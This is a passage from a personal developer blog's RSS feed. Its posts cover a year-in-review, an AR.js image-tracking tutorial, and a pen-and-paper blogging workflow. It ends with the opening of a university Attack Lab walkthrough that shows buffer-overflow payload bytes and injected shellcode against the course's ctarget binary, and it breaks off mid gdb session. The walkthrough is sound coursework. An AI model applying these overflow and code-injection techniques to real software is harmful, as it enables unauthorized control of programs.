<li>Won HackCU, my first hackathon in a few years. We built a timeboxing app similar to <a rel="noopener" target="_blank" href="http://usemotion.com">Motion</a> / <a rel="noopener" target="_blank" href="https://reclaim.ai">Reclaim.AI</a>. Cleaned up the codebase and published it to the App Store as <a rel="noopener" target="_blank" href="https://timeslicerx.prudent.studio">TimeSlicerX</a>, making it my first published app.</li>
<li>Got into Mountain Biking!</li>
</ul>
<h3 id="summer">Summer</h3>
<p>Summer was more relaxing. I mainly worked on some maintenance patches for my projects, and did some more freelancing stuff.</p>
<ul>
<li>Learned Tkinter for a client's project. Working with PyInstaller to create signed executables for both macOS and Windows was not fun. Also, the stock Tk look on Windows is terrible.</li>
<li>Continued working on a research project using Computer Vision in analysing a lateral flow assay. Tried porting it to use OpenCV.js, but it wasn't reliable enough. I might look into directly working with OpenCV/Vision Framework for an iOS app.</li>
</ul>
<h3 id="fall">Fall</h3>
<ul>
<li>Won a couple more hackathons. I might summarize my hackathon experience in a different blog post.</li>
<li>I gave up being the "webmaster" for Hindsight, and decided to become the club's business manager. We moved to Wix.</li>
<li>Had fun re-learning all the reverse engineering stuff for my Systems class.</li>
<li>Tried Advent of Code. Will be back :~)</li>
<li>Created an alternative to Simplify.Jobs and worked on autofilling resumes without needing a browser extension (Current solution does require that you disable a few security flags for this to work). One solution might be to wrap our website as an Electron application.</li>
<li>Started working on <a rel="noopener" target="_blank" href="https://github.com/navanchauhan/swift-gopher">swift-gopher</a> - a swift library for both client/server implementations for the Gopher protocol.</li>
<li>Ended up using swift-gopher to build <a rel="noopener" target="_blank" href="https://web.navan.dev/iGopherBrowser">iGopherBrowser</a> - a modern gopher client for iOS / macOS. This is my first publically availablle macOS app.</li>
</ul>
<p>After the end of the fall semester I ended up getting my wisdom tooth removed. Took me out for 10 days.</p>
<p>I also did a ton of other stuff, but I am not sure how much I want to be sharing on my blog here. Maybe as I write more I will get more comfortable with sharing more information.</p>
<h2 id="2024">2024</h2>
<p>So, what are my plans for 2024? <strong>Learn. Build. Ship.</strong></p>
<p>Other goals:</p>
<ul>
<li>Continue homebrewing</li>
<li>Learn assembly</li>
<li>Get better at designing stuff</li>
<li>Improve my handwriting</li>
<li>Do a deeper dive into the math of Machine/Deep Learning, before I get back into it</li>
</ul>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-08-01-Natural-Feature-Tracking-ARJS.html
</guid>
<title>
Introduction to AR.js and Natural Feature Tracking
</title>
<description>
An introduction to AR.js and NFT
</description>
<link>https://web.navan.dev/posts/2020-08-01-Natural-Feature-Tracking-ARJS.html</link>
<pubDate>Sat, 01 Aug 2020 15:43:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="introduction-to-arjs-and-natural-feature-tracking">Introduction to AR.js and Natural Feature Tracking</h1>
<h2 id="arjs">AR.js</h2>
<p>AR.js is a lightweight library for Augmented Reality on the Web, coming with features like Image Tracking, Location based AR and Marker tracking. It is the easiest option for cross-browser augmented reality. </p>
<p>The same code works for iOS, Android, Desktops and even VR Browsers!</p>
<p>It was initially created by Jerome Etienne and is now maintained by Nicolo Carpignoli and the AR-js Organisation</p>
<h2 id="nft">NFT</h2>
<p>Usually for augmented reality you need specialised markers, like this Hiro marker (notice the thick non-aesthetic borders 🤢)</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/4/48/Hiro_marker_ARjs.png" alt="" /></p>
<p>This is called marker based tracking where the code knows what to look for. NFT or Natural Feature Tracing converts normal images into markers by extracting 'features' from it, this way you can use any image of your liking!</p>
<p>I'll be using my GitHub profile picture </p>
<p><img src="/images/me.jpeg" alt="" /></p>
<h2 id="creating-the-marker">Creating the Marker!</h2>
<p>First we need to create the marker files required by AR.js for NFT. For this we use Carnaux's repository 'NFT-Marker-Creator'.</p>
<pre><code>$ git clone https://github.com/Carnaux/NFT-Marker-Creator
Cloning into 'NFT-Marker-Creator'...
remote: Enumerating objects: 79, done.
remote: Counting objects: 100% (79/79), done.
remote: Compressing objects: 100% (72/72), done.
remote: Total 580 (delta 10), reused 59 (delta 7), pack-reused 501
Receiving objects: 100% (580/580), 9.88 MiB | 282.00 KiB/s, done.
Resolving deltas: 100% (262/262), done.
$ cd NFT-Makrer-Creator
</code></pre>
<h3 id="install-the-dependencies">Install the dependencies</h3>
<pre><code>$ npm install
npm WARN nodegenerator@1.0.0 No repository field.
added 67 packages from 56 contributors and audited 67 packages in 2.96s
1 package is looking for funding
run `npm fund` for details
found 0 vulnerabilities
╭────────────────────────────────────────────────────────────────╮
│ │
│ New patch version of npm available! 6.14.5 → 6.14.7 │
│ Changelog: https://github.com/npm/cli/releases/tag/v6.14.7 │
│ Run npm install -g npm to update! │
│ │
╰────────────────────────────────────────────────────────────────╯
</code></pre>
<h3 id="copy-the-target-marker-to-the-folder">Copy the target marker to the folder</h3>
<pre><code>$ cp ~/CodingAndStuff/ARjs/me.png .
</code></pre>
<h3 id="generate-marker">Generate Marker</h3>
<pre><code>$ node app.js -i me.png
Confidence level: [ * * * * * ] 5/5 || Entropy: 5.24 || Current max: 5.17 min: 4.6
Do you want to continue? (Y/N)
y
writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!
[info]
Commands:
[info] --
Generator started at 2020-08-01 16:01:41 +0580
[info] Tracking Extraction Level = 2
[info] MAX_THRESH = 0.900000
[info] MIN_THRESH = 0.550000
[info] SD_THRESH = 8.000000
[info] Initialization Extraction Level = 1
[info] SURF_FEATURE = 100
[info] min allow 3.699000.
[info] Image DPI (1): 3.699000
[info] Image DPI (2): 4.660448
[info] Image DPI (3): 5.871797
[info] Image DPI (4): 7.398000
[info] Image DPI (5): 9.320896
[info] Image DPI (6): 11.743593
[info] Image DPI (7): 14.796000
[info] Image DPI (8): 18.641792
[info] Image DPI (9): 23.487186
[info] Image DPI (10): 29.592001
[info] Image DPI (11): 37.283585
[info] Image DPI (12): 46.974373
[info] Image DPI (13): 59.184002
[info] Image DPI (14): 72.000000
[info] Generating ImageSet...
[info] (Source image xsize=568, ysize=545, channels=3, dpi=72.0).
[info] Done.
[info] Saving to asa.iset...
[info] Done.
[info] Generating FeatureList...
...
[info] (46, 44) 5.871797[dpi]
[info] Freak features - 23[info] ========= 23 ===========
[info] (37, 35) 4.660448[dpi]
[info] Freak features - 19[info] ========= 19 ===========
[info] (29, 28) 3.699000[dpi]
[info] Freak features - 9[info] ========= 9 ===========
[info] Done.
[info] Saving FeatureSet3...
[info] Done.
[info] Generator finished at 2020-08-01 16:02:02 +0580
--
Finished marker creation!
Now configuring demo!
Finished!
To run demo use: 'npm run demo'
</code></pre>
<p>Now we have the required files in the output folder</p>
<pre><code>$ ls output
me.fset me.fset3 me.iset
</code></pre>
<h2 id="creating-the-html-page">Creating the HTML Page</h2>
<p>Create a new file called <code>index.html</code> in your project folder. This is the basic template we are going to use. Replace <code>me</code> with the root filename of your image, for example <code>NeverGonnaGiveYouUp.png</code> will become <code>NeverGonnaGiveYouUp</code>. Make sure you have copied all three files from the output folder in the previous step to the root of your project folder.</p>
<div class="codehilite">
<pre><span></span><code><span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://cdn.jsdelivr.net/gh/aframevr/aframe@1c2407b26c61958baa93967b5412487cd94b290b/dist/aframe-master.min.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar-nft.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
<span class="p"><</span><span class="nt">style</span><span class="p">></span>
<span class="w"> </span><span class="p">.</span><span class="nc">arjs-loader</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">height</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="k">width</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="w"> </span><span class="k">position</span><span class="p">:</span><span class="w"> </span><span class="kc">absolute</span><span class="p">;</span>
<span class="w"> </span><span class="k">top</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">left</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="nb">rgba</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mf">0.8</span><span class="p">);</span>
<span class="w"> </span><span class="k">z-index</span><span class="p">:</span><span class="w"> </span><span class="mi">9999</span><span class="p">;</span>
<span class="w"> </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="kc">flex</span><span class="p">;</span>
<span class="w"> </span><span class="k">justify-content</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">align-items</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">.</span><span class="nc">arjs-loader</span><span class="w"> </span><span class="nt">div</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">text-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w"> </span><span class="k">font-size</span><span class="p">:</span><span class="w"> </span><span class="mf">1.25</span><span class="kt">em</span><span class="p">;</span>
<span class="w"> </span><span class="k">color</span><span class="p">:</span><span class="w"> </span><span class="kc">white</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p"></</span><span class="nt">style</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span> <span class="na">style</span><span class="o">=</span><span class="s">"margin : 0px; overflow: hidden;"</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">"arjs-loader"</span><span class="p">></span>
<span class="p"><</span><span class="nt">div</span><span class="p">></span>Calculating Image Descriptors....<span class="p"></</span><span class="nt">div</span><span class="p">></span>
<span class="p"></</span><span class="nt">div</span><span class="p">></span>
<span class="p"><</span><span class="nt">a-scene</span>
<span class="na">vr-mode-ui</span><span class="o">=</span><span class="s">"enabled: false;"</span>
<span class="na">renderer</span><span class="o">=</span><span class="s">"logarithmicDepthBuffer: true;"</span>
<span class="na">embedded</span>
<span class="na">arjs</span><span class="o">=</span><span class="s">"trackingMethod: best; sourceType: webcam;debugUIEnabled: false;"</span>
<span class="p">></span>
<span class="p"><</span><span class="nt">a-nft</span>
<span class="na">type</span><span class="o">=</span><span class="s">"nft"</span>
<span class="na">url</span><span class="o">=</span><span class="s">"./me"</span>
<span class="na">smooth</span><span class="o">=</span><span class="s">"true"</span>
<span class="na">smoothCount</span><span class="o">=</span><span class="s">"10"</span>
<span class="na">smoothTolerance</span><span class="o">=</span><span class="s">".01"</span>
<span class="na">smoothThreshold</span><span class="o">=</span><span class="s">"5"</span>
<span class="p">></span>
<span class="p"></</span><span class="nt">a-nft</span><span class="p">></span>
<span class="p"><</span><span class="nt">a-entity</span> <span class="na">camera</span><span class="p">></</span><span class="nt">a-entity</span><span class="p">></span>
<span class="p"></</span><span class="nt">a-scene</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
</code></pre>
</div>
<p>In this we are creating a AFrame scene and we are telling it that we want to use NFT Tracking. The amazing part about using AFrame is that we are able to use all AFrame objects!</p>
<h2 id="adding-a-simple-box">Adding a simple box</h2>
<p>Let us add a simple box!</p>
<div class="codehilite">
<pre><span></span><code><span class="p"><</span><span class="nt">a-nft</span> <span class="err">.....</span><span class="p">></span>
<span class="p"><</span><span class="nt">a-box</span> <span class="na">position</span><span class="o">=</span><span class="s">'100 0.5 -180'</span> <span class="na">material</span><span class="o">=</span><span class="s">'opacity: 0.5; side: double'</span> <span class="na">scale</span><span class="o">=</span><span class="s">"100 100 100"</span><span class="p">></</span><span class="nt">a-box</span><span class="p">></span>
<span class="p"></</span><span class="nt">a-nft</span><span class="p">></span>
</code></pre>
</div>
<p>Now to test it out we will need to create a simple server, I use Python's inbuilt <code>SimpleHTTPServer</code> alongside <code>ngrok</code> </p>
<p>In one terminal window, <code>cd</code> to the project directory. Currently your project folder should have 4 files, <code>index.html</code>, <code>me.fset3</code>, <code>me.fset</code> and <code>me.iset</code></p>
<p>Open up two terminal windows and <code>cd</code> into your project folder then run the following commands to start up your server.</p>
<p>In the first terminal window start the Python Server</p>
<pre><code>$ cd ~/CodingAndStuff/ARjs
$ python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
</code></pre>
<p>In the other window run <code>ngrok</code> ( Make sure you have installed it prior to running this step )</p>
<pre><code>$ ngrok http 8000
</code></pre>
<p><img src="/assets/posts/arjs/01-ngrok.png" alt="" /></p>
<p>Now copy the url to your phone and try running the example </p>
<p><img src="/assets/posts/arjs/02-box-demo.gif" alt="" /></p>
<p>👏 Congratulations! You just built an Augmented Reality experience using AR.js and AFrame</p>
<h2 id="adding-a-torus-knot-in-the-box">Adding a Torus-Knot in the box</h2>
<p>Edit your <code>index.html</code> </p>
<div class="codehilite">
<pre><span></span><code><span class="p"><</span><span class="nt">a-nft</span> <span class="err">..</span><span class="p">></span>
<span class="p"><</span><span class="nt">a-box</span> <span class="err">..</span><span class="p">></span>
<span class="p"><</span><span class="nt">a-torus-knot</span> <span class="na">radius</span><span class="o">=</span><span class="s">'0.26'</span> <span class="na">radius-tubular</span><span class="o">=</span><span class="s">'0.05'</span> <span class="p">></</span><span class="nt">a-torus-knot</span><span class="p">></span>
<span class="p"></</span> <span class="nt">a-box</span><span class="p">></span>
<span class="p"></</span> <span class="nt">a-nft</span><span class="p">></span>
</code></pre>
</div>
<p><img src="/assets/posts/arjs/03-knot.png" alt="" /></p>
<h2 id="where-are-the-gifs">Where are the GIFs?</h2>
<p>Now that we know how to place a box in the scene and add a torus knot in it, what do we do next? We bring the classic internet back!</p>
<p><code>AFrame GIF Shader</code> is a gif shader for A-Frame created by mayognaise.</p>
<h3 id="first-things-first">First things first</h3>
<p>Add <code><script src="https://rawgit.com/mayognaise/aframe-gif-shader/master/dist/aframe-gif-shader.min.js"></script></code> to <code><head></code></p>
<p>Change the box's material to add the GIF shader</p>
<div class="codehilite">
<pre><span></span><code>...
<span class="p"><</span><span class="nt">a-box</span> <span class="na">position</span><span class="o">=</span><span class="s">'100 0.5 -180'</span> <span class="na">material</span><span class="o">=</span><span class="s">"shader:gif;src:url(https://media.tenor.com/images/412b1aa9149d98d561df62db221e0789/tenor.gif);opacity:.5"</span> <span class="err">.....</span><span class="p">></span>
</code></pre>
</div>
<p><img src="/assets/posts/arjs/04-nyan.gif" alt="" /></p>
<h2 id="bonus-idea-integrate-it-with-githubs-new-profile-readme-feature">Bonus Idea: Integrate it with GitHub's new profile Readme Feature!</h2>
<h3 id="1-host-the-code-using-github-pages">1) Host the code using GitHub Pages</h3>
<h3 id="2-create-a-new-repository-the-name-should-be-your-github-username">2) Create a new repository ( the name should be your GitHub username )</h3>
<h3 id="3-add-qr-code-to-the-page-and-tell-the-users-to-scan-your-profile-picture">3) Add QR Code to the page and tell the users to scan your profile picture</h3>
<h3 id="profit">??) Profit 💸</h3>
<p>Here is a screenshot of me scanning a rounded version of my profile picture ( It still works! Even though the image is cropped and I haven't changed any line of code )</p>
<p><img src="/assets/posts/arjs/05-GitHub.jpg" alt="" /></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2022-11-07-a-new-method-to-blog.html
</guid>
<title>
A new method to blog
</title>
<description>
Writing posts in markdown using pen and paper
</description>
<link>https://web.navan.dev/posts/2022-11-07-a-new-method-to-blog.html</link>
<pubDate>Mon, 07 Nov 2022 23:29:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="a-new-method-to-blog">A new method to blog</h1>
<p><em><a rel="noopener" target="_blank" href="/assets/pdfs/2022-11-07-a-new-way-to-blog.pdf">Here</a> is the original PDF. I made some edits to the content after generating the markdown file</em></p>
<p><a rel="noopener" target="_blank" href="https://paperwebsite.com">Paper Website</a> is a service that lets you build a website with just pen and paper. I am going to try and replicate the process.</p>
<h2 id="the-plan">The Plan</h2>
<p>The continuity feature on macOS + iOS lets you scan PDFs directly from your iPhone. I want to be able to scan these pages and automatically run an Automator script that takes the PDF and OCRs the text. Then I can further clean the text and convert from markdown.</p>
<h2 id="challenges">Challenges</h2>
<p>I quickly realised that the OCR software I planned on using could not detect my shitty handwriting accurately. I tried using ABBY Finereader, Prizmo and OCRMyPDF. (Abby Finereader and Prizmo support being automated by Automator).</p>
<p>Now, I could either write neater, or use an external API like Microsoft Azure</p>
<h2 id="solution">Solution</h2>
<h3 id="ocr">OCR</h3>
<p>In the PDFs, all the scans are saved as images on a page. I extract the image and then send it to Azure's API. </p>
<h3 id="paragraph-breaks">Paragraph Breaks</h3>
<p>The recognised text had multiple lines breaking in the middle of the sentence, Therefore, I use what is called a <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Pilcrow">pilcrow</a> to specify paragraph breaks. But, rather than trying to draw the normal pilcrow, I just use the HTML entity <code>&#182;</code> which is the pilcrow character. </p>
<h2 id="where-is-the-code">Where is the code?</h2>
<p>I created a <a rel="noopener" target="_blank" href="https://gist.github.com/navanchauhan/5fc602b1e023b60a66bc63bd4eecd4f8">GitHub Gist</a> for a sample Python script to take the PDF and print the text </p>
<p>A more complete version with Auomator scripts and an entire publishing pipeline will be available as a GitHub and Gitea repo soon.</p>
<p><em>* In Part 2, I will discuss some more features *</em> </p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2023-10-05-attack-lab.html
</guid>
<title>
Attack Lab
</title>
<description>
Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems
</description>
<link>https://web.navan.dev/posts/2023-10-05-attack-lab.html</link>
<pubDate>Thu, 05 Oct 2023 20:01:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="attack-lab">Attack Lab</h1>
<h2 id="introduction">Introduction</h2>
<p>Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems</p>
<blockquote>
<p>This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow.
<cite> Attack Lab Handout </cite></p>
</blockquote>
<p>Again, I like using objdump to disassemble the code. </p>
<p><code>objdump -d ctarget > dis.txt</code></p>
<h2 id="phase-1">Phase 1</h2>
<p>From the instructions, we know that our task is to get <code>CTARGET</code> to execute the code for <code>touch1</code> when <code>getbuf</code> executes its return statement, rather than returning to <code>test</code></p>
<p>Let us try to look into the <code>getbuf</code> from our disassembled code.</p>
<pre><code>0000000000402608 <getbuf>:
402608: 48 83 ec 18 sub $0x18,%rsp
40260c: 48 89 e7 mov %rsp,%rdi
40260f: e8 95 02 00 00 call 4028a9 <Gets>
402614: b8 01 00 00 00 mov $0x1,%eax
402619: 48 83 c4 18 add $0x18,%rsp
40261d: c3
</code></pre>
<pre><code>402608: 48 83 ec 18 sub $0x18,%rsp
</code></pre>
<p>We can see that <code>0x18</code> (hex) or <code>24</code> (decimal) bytes of buffer is allocated to <code>getbuf</code> (Since, 24 bytes are being subtracted from the stack pointer).</p>
<p><strong>Buffer Overflow</strong>: A buffer overrun happens when the size of the data exceeds the memory size reserved for the buffer we are storing in our value.</p>
<p>Now, since we know the buffer size we can try passing the address of the touch1 function after we pad it up with the buffer size.</p>
<div class="codehilite">
<pre><span></span><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch1
000000000040261e<span class="w"> </span><touch1>:
</code></pre>
</div>
<p>We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:</p>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>python<span class="w"> </span>-c<span class="w"> </span><span class="s1">'import sys; print(sys.byteorder)'</span>
little
</code></pre>
</div>
<p>We have our padding size and the function we need to call, we can write it in <code>ctarget.l1.txt</code></p>
<pre><code>00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1e 26 40 00 00 00 00 00
</code></pre>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l1.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Type<span class="w"> </span>string:Touch1!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch1<span class="o">()</span>
Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">1</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget
PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated.
NICE<span class="w"> </span>JOB!
</code></pre>
</div>
<h2 id="phase-2">Phase 2</h2>
<blockquote>
<p>Phase 2 involves injecting a small amount of code as part of your exploit string.
<br><br>
Within the file ctarget there is code for a function touch2 having the following C representation:
<cite>Attack Lab Handout</cite></p>
</blockquote>
<div class="codehilite">
<pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">touch2</span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="n">val</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">vlevel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">cookie</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Touch2!: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span>
<span class="w"> </span><span class="n">validate</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Misfire: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span>
<span class="w"> </span><span class="n">fail</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre>
</div>
<blockquote>
<p>Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,
however, you must make it appear to touch2 as if you have passed your cookie as its argument.
<br><br>
Recall that the first argument to a function is passed in register %rdi
<cite>Attack Lab Handout</cite></p>
</blockquote>
<p>This hint tells us that we need to store the cookie in the rdi register</p>
<div class="codehilite">
<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x3e8dee8f</span><span class="p">,</span><span class="nv">%rdi</span><span class="w"> </span>
<span class="no">retq</span>
</code></pre>
</div>
<p>To get the byte representation, we need to compile the code and then disassemble it.</p>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase2.s<span class="w"> </span><span class="o">&&</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase2.o
phase2.s:<span class="w"> </span>Assembler<span class="w"> </span>messages:
phase2.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted
phase2.o:<span class="w"> </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64
Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text:
<span class="m">0000000000000000</span><span class="w"> </span><.text>:
<span class="w"> </span><span class="m">0</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span>8f<span class="w"> </span>ee<span class="w"> </span>8d<span class="w"> </span>3e<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x3e8dee8f,%rdi
<span class="w"> </span><span class="m">7</span>:<span class="w"> </span>c3<span class="w"> </span>ret<span class="w"> </span>
</code></pre>
</div>
<p>Thus, the byte representation for our asm code is <code>48 c7 c7 8f ee 8d 3e c3</code></p>
<p>We also need to figure out the address to the <code>%rsp</code> register. Again, looking at the <code>getbuf</code> code</p>
<pre><code>0000000000402608 <getbuf>:
402608: 48 83 ec 18 sub $0x18,%rsp
40260c: 48 89 e7 mov %rsp,%rdi
40260f: e8 95 02 00 00 call 4028a9 <Gets>
402614: b8 01 00 00 00 mov $0x1,%eax
402619: 48 83 c4 18 add $0x18,%rsp
40261d: c3 ret
</code></pre>
<p>We need to find the address of <code>%rsp</code> after calling <code><Gets></code> and sending a really long string.</p>
<p>What we are going to do now is to add a break on <code>getbuf</code>, and run the program just after it asks us to enter a string and then find the address of <code>%rsp</code></p>
<div class="codehilite">
<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gdb<span class="w"> </span>./ctarget
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span><http://gnu.org/licenses/gpl.html>
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">"show copying"</span><span class="w"> </span>and<span class="w"> </span><span class="s2">"show warranty"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">"x86_64-linux-gnu"</span>.
Type<span class="w"> </span><span class="s2">"show configuration"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
<https://www.gnu.org/software/gdb/bugs/>.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w"> </span><http://www.gnu.org/software/gdb/documentation/>.
For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">"help"</span>.
Type<span class="w"> </span><span class="s2">"apropos word"</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">"word"</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./ctarget...
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>b<span class="w"> </span>getbuf
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x402608:<span class="w"> </span>file<span class="w"> </span>buf.c,<span class="w"> </span>line<span class="w"> </span><span class="m">12</span>.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>run
Starting<span class="w"> </span>program:<span class="w"> </span>/home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget<span class="w"> </span>
Cookie:<span class="w"> </span>0x3e8dee8f
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:12
<span class="m">12</span><span class="w"> </span>buf.c:<span class="w"> </span>No<span class="w"> </span>such<span class="w"> </span>file<span class="w"> </span>or<span class="w"> </span>directory.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>getbuf:
